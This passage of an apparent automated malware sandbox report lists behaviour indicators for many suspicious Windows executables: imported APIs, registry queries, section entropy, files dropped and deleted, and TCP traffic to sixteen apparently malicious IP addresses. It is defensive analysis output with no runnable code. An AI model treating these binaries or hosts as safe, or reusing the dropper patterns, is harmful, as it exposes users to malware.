(SID) with up to eight subauthorities" [Source: 0rXld4E.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: 0rXld4E.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 0rXld4E.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: 0rXld4E.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: 0rXld4E.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: rabert.exe] Observed import api "CheckTokenMembership" which can "determine whether a specified security identifier (SID) is enabled in an access token" [Source: rabert.exe] Observed import api "DuplicateToken" which can "create a new access token that duplicates one already in existence" [Source: rabert.exe] Observed import api "DuplicateTokenEx" which can "create a new access token that duplicates an existing token" [Source: rabert.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: rabert.exe] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: rabert.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: rabert.exe] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: rabert.exe] Observed import api "SetTokenInformation" which can "set various types of information for a specified access token" [Source: rabert.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: 8RsL970.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: 8RsL970.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 8RsL970.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: 8RsL970.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: 8RsL970.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: Setup.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: Setup.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: Setup.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: Setup.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: Setup.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: irsetup.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: random.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: random.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: random.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: random.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: random.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: cooking.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: cooking.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: cooking.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: cooking.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: cooking.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: fzCgCtE.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: fzCgCtE.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: fzCgCtE.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: fzCgCtE.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: fzCgCtE.exe] Observed import api "GetSidSubAuthority" which can "return a pointer to a specified subauthority in a security identifier (SID)" [Source: vulkan-1.dll] Observed import api "GetSidSubAuthorityCount" which can "return a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: vulkan-1.dll] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: vulkan-1.dll]99:Ta7e,"NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "")9a:T720,"MSTeams.exe" has section name .text with entropy "6.130156608263075" "MSTeams.exe" has section name .data with entropy "7.902812922356385" "MSTeams.exe" has section name .reloc with entropy "6.681498826856113" "MSTeams.exe" has section name .rsrc with entropy "7.867435625617138" "GL0ygTD.exe" has section name CODE with entropy "6.631765876950794" "BrowserInstaller.exe" has section name .text with entropy "6.517217265168956" "0rXld4E.exe" has section name .text with entropy "6.273040582242402" "0rXld4E.exe" has section name .rsrc with entropy "7.994830523815231" "0rXld4E.exe" has section name .reloc with entropy "6.269219670787053" "rabert.exe" has section name .text with entropy "6.459635644433374" "rabert.exe" has section name .rdata with entropy "6.44889298455208" "rabert.exe" has section name .pdata with entropy "6.235123363570563" "rabert.exe" has section name .rsrc with entropy "6.027971211454145" "multifunctionalbackup294.exe" has section name .text with entropy "7.691047791165539" "multifunctionalbackup294.exe" has section name .rsrc with entropy "6.864597956825919" "multifunctionalbackup294.exe" has section name _xss_9c with entropy "6.584676441112046" "lJ5IwxN.exe" has section name with entropy "7.916206883072457" "lJ5IwxN.exe" has section name xfyfrflz with entropy "7.960733526081105" "8RsL970.exe" has section name .text with entropy "6.109997796878264" "8RsL970.exe" has section name .rsrc with entropy "7.983189846077563" "Setup.exe" has section name .text with entropy "6.377190161826806" "Setup.exe" has section name .itext with entropy "6.109264411030635" "Setup.exe" has section name .reloc with entropy "6.709466460182023" "fz0oKy4.exe" has section name iqw2 with entropy "7.978207520038734" "irsetup.exe" has section name UPX1 with entropy "7.99987539703597"9b:T46b,"NewTextDocumentmod.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "NewTextDocumentmod.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "NewTextDocumentmod.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "NewTextDocumentmod.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "NewTextDocumentmod.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "NewTextDocumentmod.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "NewTextDocumentmod.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "TLauncher-Installer-1.9.4.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "TLauncher-Installer-1.9.4.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "TLauncher-Installer-1.9.4.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "TLauncher-Installer-1.9.4.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "TLauncher-Installer-1.9.4.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "TLauncher-Installer-1.9.4.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "TLauncher-Installer-1.9.4.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini"9c:T1e8e,"KI6Doqb.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "TLauncher-Installer-1.9.4.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [C:\a\TLauncher-Installer-1.9.4.exe]- [targetUID: 00000000-00002000] "TransmitteD.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "C8c1bbe.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- [targetUID: N/A] "syswinprdrvc.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- [targetUID: N/A] "MSTeams.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 (stripped to external PDB) 7 sections"- [targetUID: N/A] "GL0ygTD.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 8 sections"- [targetUID: N/A] "BrowserInstaller.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%TEMP%\BrowserInstaller.exe]- [targetUID: 00000000-00005524] "0rXld4E.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "rabert.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- Location: [C:\a\rabert.exe]- [targetUID: 00000000-00002000] "multifunctionalbackup294.exe" has type "PE32 executable for MS Windows 4.01 (GUI) Intel i386 5 sections"- [targetUID: N/A] "lJ5IwxN.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [C:\a\lJ5IwxN.exe]- [targetUID: 00000000-00002000] "8RsL970.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "Setup.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%PROGRAMFILES%\(x86)\Company\NewProduct\Setup.exe]- [targetUID: 00000000-00000968] "fz0oKy4.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 10 sections"- [targetUID: N/A] "irsetup.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%TEMP%\_ir_sf_temp_0\irsetup.exe]- [targetUID: 00000000-00005524] "random.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 8 sections"- Location: [C:\a\random.exe]- [targetUID: 00000000-00002000] "cooking.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [C:\a\cooking.exe]- [targetUID: 00000000-00002000] "server.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- [targetUID: N/A] "fzCgCtE.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "chrome_inject.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "crypted_guardfile.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [C:\a\crypted_guardfile.exe]- [targetUID: 00000000-00008220] "ZAjTMWu.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 6 sections"- [targetUID: N/A] "vulkan-1.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 9 sections"- [targetUID: N/A] "06bK6nU.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 (stripped to external PDB) 10 sections"- [targetUID: N/A] "HCBSXXl.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 4 sections"- [targetUID: N/A] "info.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "dva.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "lua5.3.dll" has type "PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\_ir_sf_temp_0\lua5.3.dll]- [targetUID: 00000000-00005524] "Client-built.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- [targetUID: N/A] "elf.exe" has type "PE32+ executable for MS Windows 4.00 (GUI) x86-64 3 sections"- Location: [C:\a\elf.exe]- [targetUID: 00000000-00004944] "sup.exe" has type "PE32+ executable for MS Windows 4.00 (GUI) x86-64 3 sections"- Location: [C:\a\sup.exe]- [targetUID: 00000000-00008492] "sys.exe" has type "PE32+ executable for MS Windows 4.00 (GUI) x86-64 3 sections"- Location: [C:\a\sys.exe]- [targetUID: 00000000-00002000] "meitu.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "Uninstall.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 8 sections"- Location: [%PROGRAMFILES%\(x86)\Company\NewProduct\Uninstall.exe]- [targetUID: 00000000-00000968] "windows.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [C:\a\windows.exe]- [targetUID: 00000000-00002000] "window.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [C:\a\window.exe]- [targetUID: 00000000-00002000] "x.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- [targetUID: N/A] "xeno.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- [targetUID: N/A] "syschnu.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 4 sections"- [targetUID: N/A] "xtest.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- [targetUID: N/A] "docx.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- Location: [C:\a\docx.exe]- [targetUID: 00000000-00002000] "tmp.exe" has type "PE32+ executable for MS Windows 4.00 (GUI) x86-64 3 sections"- Location: [C:\a\tmp.exe]- [targetUID: 00000000-00002000] "_iscrypt.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 3 sections"- [targetUID: N/A] "C8c1bbe.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- [targetUID: N/A] "is-GGR2F.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- [targetUID: N/A] "is-GC82H.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- [targetUID: N/A] "Trails.scr" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 7 sections"- [targetUID: N/A] "is-0QRHU.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- [targetUID: N/A] "is-VDH2G.tmp" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 8 sections"- [targetUID: N/A] "GL0ygTD.tmp" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 8 sections"- [targetUID: N/A] "tmpFB41.tmp" has type "PE32+ executable for MS Windows 4.00 (GUI) x86-64 Mono/.Net assembly 2 sections"- Location: [%TEMP%\tmpFB41.tmp]- [targetUID: 00000000-00008220] "is-CLTRJ.tmp" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 19 sections"- [targetUID: N/A] "cmdres.DLL" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 6 sections"- [targetUID: N/A] "is-4KKMM.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 4 sections"- [targetUID: N/A] "IRZip.lmd" has type "PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\_ir_sf_temp_0\IRZip.lmd]- [targetUID: 00000000-00005524] "Wow64.lmd" has type "PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\_ir_sf_temp_0\Wow64.lmd]- [targetUID: 00000000-00005524] "is-R5VH8.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- [targetUID: N/A] "is-2JO42.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- [targetUID: N/A] "is-L44IL.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- [targetUID: N/A] "_setup64.tmp" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"- [targetUID: N/A]9d:T1118,"NewTextDocumentmod.exe" wrote 16384 bytes starting with PE header signature to file "C:\a\cooking.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "NewTextDocumentmod.exe" wrote 16384 bytes starting with PE header signature to file "C:\a\TLauncher-Installer-1.9.4.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "TLauncher-Installer-1.9.4.exe" wrote 27480 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "TLauncher-Installer-1.9.4.exe" wrote 11672 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\lua5.3.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "irsetup.exe" wrote 2472 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\BrowserInstaller.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "irsetup.exe" wrote 4762 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\Wow64.lmd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "irsetup.exe" wrote 14533 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\IRZip.lmd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000200100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "irsetup.exe" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\BrowserInstaller.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "crypted_guardfile.exe" wrote 31744 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\tmpFB41.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "random.exe" wrote 32768 bytes starting with PE header signature to file "C:\Program Files (x86)\Company\NewProduct\Setup.exe": 4d5a50000200000004000f00ffff0000ff0000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ... "random.exe" wrote 29107 bytes starting with PE header signature to file "C:\Program Files (x86)\Company\NewProduct\Uninstall.exe": 4d5a50000200000004000f00ffff0000ff0000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ...9e:T45c,TCP traffic to 151.101.194.49 on port 443 is sent without HTTP header TCP traffic to 178.16.54.200 on port 80 is sent without HTTP header TCP traffic to 199.188.205.20 on port 443 is sent without HTTP header TCP traffic to 188.127.225.100 on port 443 is sent without HTTP header TCP traffic to 176.122.27.90 on port 80 is sent without HTTP header TCP traffic to 196.251.115.22 on port 80 is sent without HTTP header TCP traffic to 104.20.7.182 on port 80 is sent without HTTP header TCP traffic to 104.20.7.182 on port 443 is sent without HTTP header TCP traffic to 185.208.159.182 on port 80 is sent without HTTP header TCP traffic to 176.46.158.64 on port 80 is sent without HTTP header TCP traffic to 172.245.27.131 on port 80 is sent without HTTP header TCP traffic to 213.142.159.116 on port 80 is sent without HTTP header TCP traffic to 94.154.172.199 on port 443 is sent without HTTP header TCP traffic to 178.16.55.189 on port 80 is sent without HTTP header TCP traffic to 149.154.167.99 on port 443 is sent without HTTP header TCP traffic to 178.16.53.7 on port 80 is sent without HTTP header9f:T419,SystemParametersInfoW@USER32.DLL at 00000000-00001088-23227-1067-00D622E5 SystemParametersInfoW@USER32.DLL at 00000000-00001088-23227-1614-00DAB88A SystemParametersInfoW@USER32.DLL at 00000000-00001088-23227-1620-00DAAB46 SystemParametersInfoW@USER32.DLL at 00000000-00001088-23227-1750-00DAA2C7 SystemParametersInfoW@USER32.DLL at 00000000-00001088-23227-1833-00D6B5BC SystemParametersInfoW@USER32.DLL at 00000000-00001088-23227-2536-00D827D4 SystemParametersInfoW@USER32.DLL at 00000000-00001088-23227-2542-00DB1410 SystemParametersInfoW@USER32.DLL at 00000000-00001088-23227-3347-00DA4E6C SystemParametersInfoW@USER32.DLL at 00000000-00001088-23227-4168-00DD5FA9 SystemParametersInfoW@USER32.DLL at 00000000-00001088-23227-4591-00E25852 SystemParametersInfoW@USER32.DLL at 00000000-00001088-23227-5033-00DFFAAF SystemParametersInfoW@USER32.DLL at 00000000-00001088-23227-5609-00E220FB SystemParametersInfoW@USER32.DLL at 00000000-00001088-23227-7129-00E18910 SystemParametersInfoW@USER32.DLL at 00000000-00001088-23227-11589-00E267F2a0:T918,"NewTextDocumentmod.exe" opened "C:\a\8aCq1Rp.exe" with delete access "NewTextDocumentmod.exe" opened "C:\a\g67DNdL.exe" with delete access "NewTextDocumentmod.exe" opened "C:\a\i81fwxp.exe" with delete access "cooking.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "cmd.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Pet.wms" with delete access "TLauncher-Installer-1.9.4.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" with delete access "TLauncher-Installer-1.9.4.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0" with delete access "irsetup.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.dat" with delete access "irsetup.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IRWE49C.tmp" with delete access "irsetup.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IRWF381.tmp" with delete access "irsetup.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\BrowserInstaller.exe" with delete access "irsetup.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\check_latest_tl.txt" with delete access "random.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\$inst\temp_0.tmp" with delete access "random.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\$inst\0.tmp" with delete access "random.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\$inst\1.tmp" with delete access "random.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\$inst\2.tmp" with delete access "random.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\$inst\3.tmp" with delete access "random.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\$inst\4.tmp" with delete access "random.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\$inst\5.tmp" with delete access "random.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\$inst\6.tmp" with delete access "random.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\$inst\7.tmp" with delete access "random.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\$inst\8.tmp" with delete access "random.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\$inst\9.tmp" with delete access "random.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\$inst\10.tmp" with delete access "random.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\$inst\11.tmp" with delete accessa1:T77f,GetSystemInfo WriteFile LoadLibraryW CreateFileA VirtualAlloc LoadLibraryA GetSystemDirectoryA GetThreadContext GetProcAddress CreateThread RegCloseKey RegOpenKeyExA OpenProcessToken DeleteFileA Sleep GetFileAttributesA GetModuleFileNameA GetCommandLineA GetFileSize FindResourceA GetVersionExA CreateDirectoryA VirtualProtect GetModuleHandleA CreateProcessA LockResource RegEnumKeyExW RegDeleteKeyW RegCreateKeyExW RegDeleteValueW RegOpenKeyExW DeleteFileW ExitThread FindFirstFileW GetSystemDirectoryW IsDebuggerPresent GetModuleHandleW GetTempFileNameW GetTickCount GetFileSizeEx GetFileAttributesW GetFileAttributesExW TerminateProcess FindResourceExW CreateDirectoryW UnhandledExceptionFilter CreateFileW FindResourceW GetVersionExW GetTempPathW GetModuleFileNameW CopyFileW GetStartupInfoW ShellExecuteExW ShellExecuteW GetUpdateRect GetWindowThreadProcessId GetCursorPos GetLastActivePopup SetWindowsHookExW RegCreateKeyExA RegDeleteValueA GetTempPathA GetDriveTypeA LoadLibraryExA FindNextFileA GetTempFileNameA FindFirstFileA StartServiceCtrlDispatcherA SetSecurityDescriptorDacl RegDeleteKeyA RegCreateKeyW CreateProcessAsUserW CertDeleteCertificateFromStore FindNextFileW LoadLibraryExW OpenProcess DisconnectNamedPipe CreateProcessW SleepEx GetCommandLineW FindFirstFileExW ConnectNamedPipe GetTickCount64 GetModuleHandleExW GetDriveTypeW GetModuleHandleExA SetWindowsHookExA socket listen send closesocket WSAStartup sendto WSASocketW recv recvfrom accept connect bind RegOpenKeyW RegEnumKeyW OutputDebugStringW CreateToolhelp32Snapshot GetStartupInfoA WriteProcessMemory FindWindowW URLDownloadToFileA RegEnumKeyExA GetUserNameA WinExec GetComputerNameA ShellExecuteExA ShellExecuteA FindWindowA GetUpdateRgn SleepConditionVariableSRW CreateFileMappingA MapViewOfFile 